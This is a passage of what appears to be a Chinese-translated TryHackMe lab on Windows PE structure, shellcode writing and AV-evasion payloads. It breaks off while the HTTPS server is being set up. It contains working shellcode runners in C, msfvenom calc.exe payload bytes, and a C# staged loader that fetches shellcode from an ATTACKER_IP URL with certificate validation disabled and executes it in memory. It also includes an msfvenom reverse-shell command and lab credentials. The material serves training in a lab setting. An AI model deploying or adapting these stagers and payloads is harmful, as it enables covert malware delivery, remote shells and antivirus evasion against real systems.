PE Structure

此任务重点介绍 Windows 二进制文件的 PE 数据结构的一些高级基本元素。

什么是PE?

Windows 可执行文件格式,又名 PE(可移植可执行文件),是一种保存文件所需信息的数据结构。 它是一种在磁盘上组织可执行文件代码的方法。 Windows操作系统组件,例如Windows和DOS加载程序,可以将其加载到内存中,并根据在PE中找到的解析文件信息来执行它。

一般来说,Windows 二进制文件(例如 EXE、DLL 和目标代码文件)的默认文件结构具有相同的 PE 结构,并且适用于 Windows 操作系统(x86 和 x64)CPU 架构。

PE 结构包含保存有关二进制文件的信息的各个部分,例如元数据和指向外部库的内存地址的链接。 这些部分之一是 PE 标头,其中包含元数据信息、指针以及内存中地址部分的链接。 另一部分是数据部分,其中包含容器,其中包含 Windows 加载程序运行程序所需的信息,例如可执行代码、资源、库链接、数据变量等。

PE Structure

PE结构中有不同类型的数据容器,每种数据容器保存不同的数据。

  1. .text 存放程序的实际代码
  2. .data保存初始化和定义的变量
  3. .bss 保存未初始化的数据(未赋值的声明变量)
  4. .rdata 包含只读数据
  5. .edata:包含可导出的对象和相关的表信息
  6. .idata导入的对象及相关表信息
  7. .reloc 图像重定位信息
  8. .rsrc 链接程序使用的外部资源,例如图像、图标、嵌入式二进制文件和清单文件,其中包含有关程序版本、作者、公司和版权的所有信息!

PE 结构是一个庞大而复杂的主题,我们不会过多讨论有关标头和数据部分的细节。 此任务提供 PE 结构的高级概述。 如果您有兴趣获得有关该主题的更多信息,我们建议您查看以下 THM 房间,其中对该主题进行了更详细的解释:

如果您查看 Windows PE 格式 的文档网站,您还可以获得有关 PE 的更深入的详细信息。

当查看 PE 内容时,我们会看到它包含一堆人类无法读取的字节。 但是,它包含加载程序运行文件所需的所有详细信息。 以下是 Windows 加载程序读取可执行二进制文件并将其作为进程运行的示例步骤。

  1. 标头部分:解析 DOS、Windows 和可选标头以提供有关 EXE 文件的信息。 例如,

    • 幻数以“MZ”开头,它告诉加载程序这是一个 EXE 文件。
    • 文件签名
    • 文件是针对 x86 还是 x64 CPU 架构编译的。
    • 创建时间戳。

3.解析节表详细信息,如

    • 文件包含的节数。
  1. 将文件内容映射到内存中

    • EntryPoint 地址和 ImageBase 的偏移量。
    • RVA:相对虚拟地址,与Imagebase相关的地址。
  2. 导入、DLL 和其他对象被加载到内存中。

  3. 定位EntryPoint地址并运行主执行函数。

为什么我们需要了解PE?

我们需要了解它有几个原因。 首先,由于我们正在处理打包和解包主题,因此该技术需要有关 PE 结构的详细信息。

另一个原因是反病毒软件和恶意软件分析人员根据 PE 标头和其他 PE 部分中的信息来分析 EXE 文件。 因此,要创建或修改针对 Windows 计算机的具有 AV 规避功能的恶意软件,我们需要了解 Windows 可移植可执行文件的结构以及恶意 shellcode 的存储位置。

我们可以通过定义和初始化 shellcode 变量的方式来控制在哪个数据节中存储 shellcode。 以下是一些示例,展示了如何在 PE 中存储 shellcode:

  1. 在主函数中将 shellcode 定义为局部变量,会将其存储在 .TEXT PE 部分中。
  2. 将shellcode定义为全局变量会将其存储在**.Data**部分。
  3. 另一种技术涉及将 shellcode 作为原始二进制文件存储在图标图像中并将其链接到代码中,因此在本例中,它显示在 .rsrc 数据部分中。
  4. 我们可以添加自定义数据部分来存储shellcode。

PE-bear

附加的虚拟机是一台 Windows 开发机器,具有解析 EXE 文件和读取我们讨论的详细信息所需的工具。 为了您的方便,我们在桌面上提供了 PE-Bear 软件的副本,它有助于检查 PE 结构:标题、部分等。PE-Bear 提供图形用户界面来显示所有相关的 EXE 详细信息。 要加载 EXE 文件进行分析,请选择 文件 -> 加载 PE (Ctrl + O)。

PE-Bear: The Main Windows

文件加载后,我们可以看到所有 PE 详细信息。 以下屏幕截图显示了加载文件的 PE 详细信息,包括我们在此任务前面讨论的标头和部分。

PE-Bear:Load a File

Introduction to Shellcode

Shellcode 是一组精心设计的机器代码指令,告诉易受攻击的程序运行附加功能,并且在大多数情况下,提供对系统 shell 的访问或创建反向命令 shell。

一旦shellcode被注入进程并由易受攻击的软件或程序执行,它就会修改代码运行流程以更新程序的寄存器和函数来执行攻击者的代码。

它一般用汇编语言编写并翻译成十六进制操作码(操作码)。 编写独特的自定义 shellcode 有助于显着规避 AV 软件。 但是编写自定义 shellcode 需要出色的汇编语言知识和技能,这不是一件容易的事!

一个简单的 Shellcode!

为了编写您自己的 shellcode,需要一组技能:

  • 对 x86 和 x64 CPU 架构有很好的了解。
  • 汇编语言。
  • 对C等编程语言有丰富的了解。
  • 熟悉Linux和Windows操作系统。

为了生成我们自己的 shellcode,我们需要编写并从汇编机器代码中提取字节。 对于此任务,我们将使用 AttackBox 为 Linux 创建一个简单的 shellcode,用于写入字符串“THM,Rocks!”。 下面的汇编代码使用了两个主要函数:

  • 系统写入函数(sys_write)打印出我们选择的字符串。
  • 系统退出函数(sys_exit)终止程序的执行。

要调用这些函数,我们将使用系统调用。 系统调用是程序请求内核执行某些操作的方式。 在这种情况下,我们将请求内核向屏幕写入一个字符串,然后退出程序。 每个操作系统对于系统调用都有不同的调用约定,这意味着要在 Linux 中使用 write,您可能会使用与 Windows 上不同的系统调用。 对于64位Linux,您可以通过设置以下值从内核调用所需的函数:

rax System Call rdi rsi rdx
0x1 sys_write unsigned int fd const char *buf size_t count
0x3c sys_exit int error_code

上表告诉我们需要在不同处理器寄存器中设置哪些值才能使用系统调用调用 sys_write 和 sys_exit 函数。 对于64位Linux,rax寄存器用于指示我们希望调用的内核中的函数。 将rax设置为0x1将使内核执行sys_write,将rax设置为0x3c将使内核执行sys_exit。 这两个函数都需要一些参数才能工作,这些参数可以通过 rdi、rsi 和 rdx 寄存器进行设置。 您可以在此处找到可用的 64 位 Linux 系统调用的完整参考。

对于“sys_write”,通过“rdi”发送的第一个参数是要写入的文件描述符。 “rsi”中的第二个参数是指向我们要打印的字符串的指针,“rdx”中的第三个参数是要打印的字符串的大小。

对于“sys_exit”,需要将 rdi 设置为程序的退出代码。 我们将使用代码0,这意味着程序成功退出。

将以下代码复制到 AttackBox 中名为“thm.asm”的文件中:

global _start

section .text
_start:
jmp MESSAGE ; 1) let's jump to MESSAGE

GOBACK:
mov rax, 0x1
mov rdi, 0x1
pop rsi ; 3) we are popping into `rsi`; now we have the
; address of "THM, Rocks!\r\n"
mov rdx, 0xd
syscall

mov rax, 0x3c
mov rdi, 0x0
syscall

MESSAGE:
call GOBACK ; 2) we are going back, since we used `call`, that means
; the return address, which is, in this case, the address
; of "THM, Rocks!\r\n", is pushed into the stack.
db "THM, Rocks!", 0dh, 0ah

让我们进一步解释一下 ASM 代码。 首先,我们的消息字符串存储在 .text 部分的末尾。 由于我们需要一个指向该消息的指针来打印它,因此我们将跳转到消息本身之前的调用指令。 当执行 call GOBACK 时,call 后的下一条指令的地址将被压入堆栈,该地址对应于我们的消息所在的位置。 请注意,消息末尾的 0dh、0ah 是相当于换行符 (\r\n) 的二进制文件。

接下来,程序启动 GOBACK 例程并为我们的第一个 sys_write() 函数准备所需的寄存器。

  • 我们通过在rax寄存器中存储1来指定sys_write函数。
  • 我们将 rdi 设置为 1 以将字符串打印到用户控制台(STDOUT)。
  • 我们弹出一个指向字符串的指针,该指针是在调用 GOBACK 时被压入的,并将其存储到 rsi 中。
  • 通过 syscall 指令,我们使用准备好的值执行 sys_write 函数。
  • 对于下一部分,我们执行相同的操作来调用 sys_exit 函数,因此我们将 0x3c 设置到 rax 寄存器中,并调用 syscall 函数来退出程序。

接下来,我们编译并链接ASM代码以创建x64 Linux可执行文件并最终执行程序。

汇编并链接我们的代码

           user@AttackBox$ nasm -f elf64 thm.asm
user@AttackBox$ ld thm.o -o thm
user@AttackBox$ ./thm
THM,Rocks!

我们使用 nasm 命令来编译 asm 文件,并指定 -f elf64 选项来指示我们正在为 64 位 Linux 进行编译。 请注意,结果我们获得了一个 .o 文件,其中包含目标代码,需要链接该文件才能成为工作可执行文件。 “ld”命令用于链接对象并获取最终的可执行文件。 “-o”选项用于指定输出可执行文件的名称。

现在我们已经编译了 ASM 程序,让我们使用 objdump 命令通过转储编译的二进制文件的 .text 部分来提取 shellcode。

转储 .text 部分

           user@AttackBox$ objdump -d thm

thm: file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
400080: eb 1e jmp 4000a0

0000000000400082 :
400082: b8 01 00 00 00 mov $0x1,%eax
400087: bf 01 00 00 00 mov $0x1,%edi
40008c: 5e pop %rsi
40008d: ba 0d 00 00 00 mov $0xd,%edx
400092: 0f 05 syscall
400094: b8 3c 00 00 00 mov $0x3c,%eax
400099: bf 00 00 00 00 mov $0x0,%edi
40009e: 0f 05 syscall

00000000004000a0 :
4000a0: e8 dd ff ff ff callq 400082
4000a5: 54 push %rsp
4000a6: 48 rex.W
4000a7: 4d 2c 20 rex.WRB sub $0x20,%al
4000aa: 52 push %rdx
4000ab: 6f outsl %ds:(%rsi),(%dx)
4000ac: 63 6b 73 movslq 0x73(%rbx),%ebp
4000af: 21 .byte 0x21
4000b0: 0d .byte 0xd
4000b1: 0a .byte 0xa

现在我们需要从上面的输出中提取十六进制值。 为此,我们可以使用 objcopy 将 .text 部分以二进制格式转储到名为 thm.text 的新文件中,如下所示:

提取 .text 部分

user@AttackBox$ objcopy -j .text -O binary thm thm.text

thm.text 包含二进制格式的 shellcode,因此为了能够使用它,我们需要首先将其转换为十六进制。 xxd 命令有一个 -i 选项,它将直接以 C 字符串输出二进制文件:

输出相当于我们的 shellcode 的十六进制

           user@AttackBox$ xxd -i thm.text
unsigned char new_text[] = {
0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
0x0d, 0x0a
};
unsigned int new_text_len = 50;

最后,我们得到了来自 ASM 程序集的格式化 shellcode。 蛮好玩的! 正如我们所见,为您的工作生成 shellcode 需要奉献精神和技能!

为了确认提取的 shellcode 是否按我们的预期工作,我们可以执行 shellcode 并将其注入到 C 程序中。

#include <stdio.h>

int main(int argc, char **argv) {
unsigned char message[] = {
0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
0x0d, 0x0a
};

(*(void(*)())message)();
return 0;
}

然后,我们编译并执行如下,

编译我们的C程序

           user@AttackBox$ gcc -g -Wall -z execstack thm.c -o thmx
user@AttackBox$ ./thmx
THM,Rocks!

好的! 有用。 请注意,我们通过禁用 NX 保护来编译 C 程序,这可能会阻止我们在数据段或堆栈中正确执行代码。

了解 shellcode 及其创建方式对于执行以下任务至关重要,尤其是在处理 shellcode 加密和编码时。

Generate Shellcode

在此任务中,我们将继续使用 shellcode 并演示如何使用 Metasploit 框架等公共工具生成和执行 shellcode。

使用公共工具生成 shellcode

可以使用特定的编程语言生成特定格式的 Shellcode。 这取决于你。 例如,如果您的释放器(即主 exe 文件)包含将发送给受害者的 shellcode,并且是用 C 编写的,那么我们需要生成在 C 中工作的 shellcode 格式。

通过公共工具生成 shellcode 的优点是我们不需要从头开始编写自定义 shellcode,甚至不需要成为汇编语言专家。 大多数公共 C2 框架都提供自己的与 C2 平台兼容的 shellcode 生成器。 当然,这对我们来说非常方便,但缺点是大多数(或者可以说全部)生成的 shellcode 都是 AV 供应商所熟知的,并且很容易被检测到。

我们将在 AttackBox 上使用 Msfvenom 生成执行 Windows 文件的 shellcode。 我们将创建一个运行“calc.exe”应用程序的 shellcode。

生成Shellcode来执行calc.exe

           user@AttackBox$ msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of c file: 835 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

结果,Metasploit 框架生成执行 Windows 计算器 (calc.exe) 的 shellcode。 Windows 计算器广泛用作恶意软件开发过程中的示例来展示概念证明。 如果该技术有效,则会弹出 Windows 计算器的新实例。 这证实了任何可执行 shellcode 都适用于所使用的方法。

Shellcode注入

黑客使用各种技术将 shellcode 注入正在运行的或新的线程和进程中。 Shellcode 注入技术修改程序的执行流程,以更新程序的寄存器和函数来执行攻击者自己的代码。

现在让我们继续使用生成的 shellcode 并在操作系统上执行它。 以下是包含我们生成的 shellcode 的 C 代码,该代码将被注入内存并执行“calc.exe”。

在 AttackBox 上,将以下内容保存在名为“calc.c”的文件中:

#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
DWORD oldProtect;
VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
int (*shellcode)() = (int(*)())(void*)stager;
shellcode();
}

现在让我们将其编译为 exe 文件:

为 Windows 编译我们的 C 程序

user@AttackBox$ i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

获得 exe 文件后,将其传输到 Windows 计算机并执行它。 要传输文件,您可以使用 AttackBox 中的 smbclient 通过以下命令访问 \10.10.21.255\Tools 处的 SMB 共享(记住“thm”用户的密码是“Password321”):

将 calc-MSC.exe 复制到 Windows 机器

           user@AttackBox$ smbclient -U thm '//10.10.21.255/Tools'
smb: \> put calc-MSF.exe

这应该将您的文件复制到 Windows 计算机的“C:\Tools\”中。

虽然您的计算机的 AV 应被禁用,但请随意尝试将您的有效负载上传到 THM 防病毒检查,网址为“http://10.10.21.255/”。

Executing MSF Payload to run calc.exe

Metasploit 框架有许多其他 shellcode 格式和类型,可以满足您的所有需求。 我们强烈建议您进行更多实验,并通过生成不同的 shellcode 来扩展您的知识。

前面的示例展示了如何生成 shellcode 并在目标计算机中执行它。 当然,您可以复制相同的步骤来创建不同类型的 shellcode,例如 Meterpreter shellcode。

从 EXE 文件生成 Shellcode

Shellcode 也可以存储在“.bin”文件中,这是一种原始数据格式。 在这种情况下,我们可以使用“xxd -i”命令获取它的shellcode。

C2 框架提供 shellcode 作为原始二进制文件“.bin”。 如果是这种情况,我们可以使用Linux系统命令“xxd”来获取二进制文件的十六进制表示。 为此,我们执行以下命令:“xxd -i”。

让我们使用 msfvenom 创建一个原始二进制文件来获取 shellcode:

生成原始shellcode来执行calc.exe

           user@AttackBox$ msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
No encoder specified, outputting raw payload
Payload size: 193 bytes

user@AttackBox$ file /tmp/example.bin
/tmp/example.bin: data

并在创建的文件上运行“xxd”命令:

使用xxd命令获取shellcode

           user@AttackBox$ xxd -i /tmp/example.bin
unsigned char _tmp_example_bin[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5,
0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65,
0x00
};
unsigned int _tmp_example_bin_len = 193;

如果我们将输出与之前使用 Metasploit 创建的 shellcode 进行比较,就会发现它是匹配的。

Staged Payloads

为了绕过 AV 的目标,我们将找到两种主要方法来将最终的 shellcode 传递给受害者。 根据方法的不同,您会发现有效负载通常分为阶段无阶段负载。 在此任务中,我们将研究两种方法的差异以及每种方法的优点。

Stageless Payloads

无阶段有效负载将最终的 shellcode 直接嵌入到自身中。 将其视为在单步过程中执行 shellcode 的打包应用程序。 在之前的任务中,我们嵌入了一个可执行文件,该可执行文件嵌入了一个简单的“calc”shellcode,从而形成了无阶段的有效负载。

Stageless Payload

在上面的示例中,当用户执行恶意负载时,嵌入式 shellcode 将运行,为攻击者提供反向 shell。

Staged Payloads

分阶段有效负载通过使用中间 shellcode 来工作,这些中间 shellcode 充当导致执行最终 shellcode 的步骤。 这些中间 shellcode 中的每一个都称为 stager,其主要目标是提供一种检索最终 shellcode 并最终执行它的方法。

虽然有效负载可能有多个阶段,但通常情况下涉及两阶段有效负载,其中第一阶段(我们称之为 stage0)是一个存根 shellcode,它将连接回攻击者的计算机以下载最终要执行的 shellcode。

Staged Payload - stage0

一旦检索到,stage0 存根就会将最终的 shellcode 注入有效负载进程内存中的某个位置并执行它(如下所示)。

Staged Payload - Send ReveseShell

分阶段与无阶段

在决定使用哪种类型的有效负载时,我们必须了解我们将攻击的环境。 根据具体的攻击场景,每种有效负载类型都有优点和缺点。

对于无级有效负载,您会发现以下优点:

  • 生成的可执行文件包含了让我们的 shellcode 工作所需的所有内容。
  • 有效负载将在不需要额外网络连接的情况下执行。 网络交互越少,被 IPS 检测到的机会就越小。
  • 如果您正在攻击网络连接非常有限的主机,您可能希望将整个有效负载放在一个包中。

对于分阶段的有效负载,您将拥有:

  • 磁盘占用空间小。 由于 stage0 只负责下载最终的 shellcode,因此它的大小很可能很小。
  • 最终的 shellcode 未嵌入到可执行文件中。 如果您的有效负载被捕获,蓝队将只能访问 stage0 存根,仅此而已。
  • 最终的 shellcode 被加载到内存中,并且永远不会接触磁盘。 这使得它更不容易被反病毒解决方案检测到。
  • 您可以为许多 shellcode 重复使用相同的 stage0 dropper,因为您可以简单地替换提供给受害者计算机的最终 shellcode。

总之,除非我们添加一些上下文,否则我们不能说任何一种类型都比另一种更好。 一般来说,无阶段有效负载更适合具有大量外围安全性的网络,因为它不依赖于从互联网下载最终的 shellcode。 例如,如果您要对封闭网络环境中的目标计算机执行 USB 丢弃攻击,而您知道在该环境中您将无法连接回您的计算机,那么无阶段就是最佳选择。

另一方面,当您希望将本地计算机上的占用空间减少到最低限度时,分阶段有效负载非常有用。 由于它们在内存中执行最终的有效负载,一些反病毒解决方案可能会发现更难检测到它们。 它们还可以很好地避免暴露您的 shellcode(这通常需要相当长的时间来准备),因为 shellcode 不会在任何时候放入受害者的磁盘中(作为工件)。

Metasploit 中的暂存器

当使用 msfvenom 创建有效负载或直接在 Metasploit 中使用它们时,您可以选择使用分段或无阶段有效负载。 举个例子,如果你想生成一个反向 TCP shell,你会发现有两个有效负载用于此目的,但名称略有不同(请注意“shell”后面的“_”与“/”):

Payload Type
windows/x64/shell_reverse_tcp Stageless payload
windows/x64/shell/reverse_tcp Staged payload

您通常会发现相同的名称模式适用于其他类型的 shell。 例如,要使用无阶段的 Meterpreter,我们将使用“windows/x64/meterpreter_reverse_tcp”,而不是“windows/x64/meterpreter/reverse_tcp”,后者作为其分阶段的对应项。

创建您自己的舞台

为了创建分阶段的有效负载,我们将使用 @mvelazc0 提供的 stager 代码的稍微修改版本。 我们的 stager 的完整代码可以在这里获取,但也可以在 Windows 计算机上的“C:\Tools\CS Files\StgedPayload.cs”中找到:

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}

public static void Stager(string url)
{

WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

byte[] shellcode = wc.DownloadData(url);

UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);

}
}

该代码乍一看可能令人生畏,但相对简单。 我们来一步步分析一下它做了什么。

代码的第一部分将通过 P/Invoke 导入一些 Windows API 函数。 我们需要的函数是“kernel32.dll”中的以下三个函数:

WinAPI Function Description
VirtualAlloc() 允许我们保留一些内存供 shellcode 使用。
CreateThread() 创建一个线程作为当前进程的一部分。
WaitForSingleObject() 用于线程同步。 它允许我们等待线程完成后再继续。

负责导入这些函数的代码部分如下:

//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

我们代码中最重要的部分将在“Stager()”函数中,其中将实现 stager 逻辑。 Stager 函数将接收一个 URL,从中下载要执行的 shellcode。

Stager() 函数的第一部分将创建一个新的 WebClient() 对象,该对象允许我们使用 Web 请求下载 shellcode。 在发出实际请求之前,我们将覆盖“ServerCertificateValidationCallback”方法,该方法负责在使用 HTTPS 请求时验证 SSL 证书,以便 WebClient 不会抱怨自签名或无效证书,我们将在 Web 服务器托管中使用该证书 有效负载。 之后,我们将调用“DownloadData()”方法从给定的 URL 下载 shellcode 并将其存储到“shellcode”变量中:

WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

byte[] shellcode = wc.DownloadData(url);

一旦我们的 shellcode 被下载并在 shellcode 变量中可用,我们需要在实际运行它之前将其复制到可执行内存中。 我们使用 VirtualAlloc() 向操作系统请求内存块。 请注意,我们请求足够的内存来分配“shellcode.Length”字节,并设置“PAGE_EXECUTE_READWRITE”标志,使分配的内存可执行、可读和可写。 一旦我们的可执行内存块被保留并分配给“codeAddr”变量,我们就使用“Marshal.Copy()”将“shellcode”变量的内容复制到“codeAddr”变量中。

UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

现在我们已经在可执行内存块中分配了 shellcode 的副本,我们使用 CreateThread() 函数在当前进程上生成一个新线程来执行我们的 shellcode。 传递给 CreateThread 的第三个参数指向“codeAddr”,我们的 shellcode 存储在其中,因此当线程启动时,它会像常规函数一样运行我们的 shellcode 的内容。 第五个参数设置为0,表示线程将立即启动。

创建线程后,我们将调用“WaitForSingleObject()”函数来指示当前程序必须等待线程执行完成才能继续。 这可以防止我们的程序在 shellcode 线程有机会执行之前关闭:

IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);

要编译代码,我们建议将其作为名为 staged-payload.cs 的文件复制到 Windows 计算机中,并使用以下命令进行编译:

PowerShell

PS C:\> csc staged-payload.cs  

使用我们的 stager 运行反向 shell

编译有效负载后,我们需要设置一个 Web 服务器来托管最终的 shellcode。 请记住,我们的 stager 将连接到该服务器以检索 shellcode 并在受害者计算机的内存中执行它。 让我们首先生成一个 shellcode(文件名需要与 stager 中的 URL 匹配):

AttackBox

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'

请注意,我们的 shellcode 使用的是原始格式,因为 stager 会直接将其下载的任何内容加载到内存中。

现在我们有了 shellcode,让我们设置一个简单的 HTTPS 服务器。 首先,我们需要使用以下命令创建自签名证书:

AttackBox

user@AttackBox$ openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes

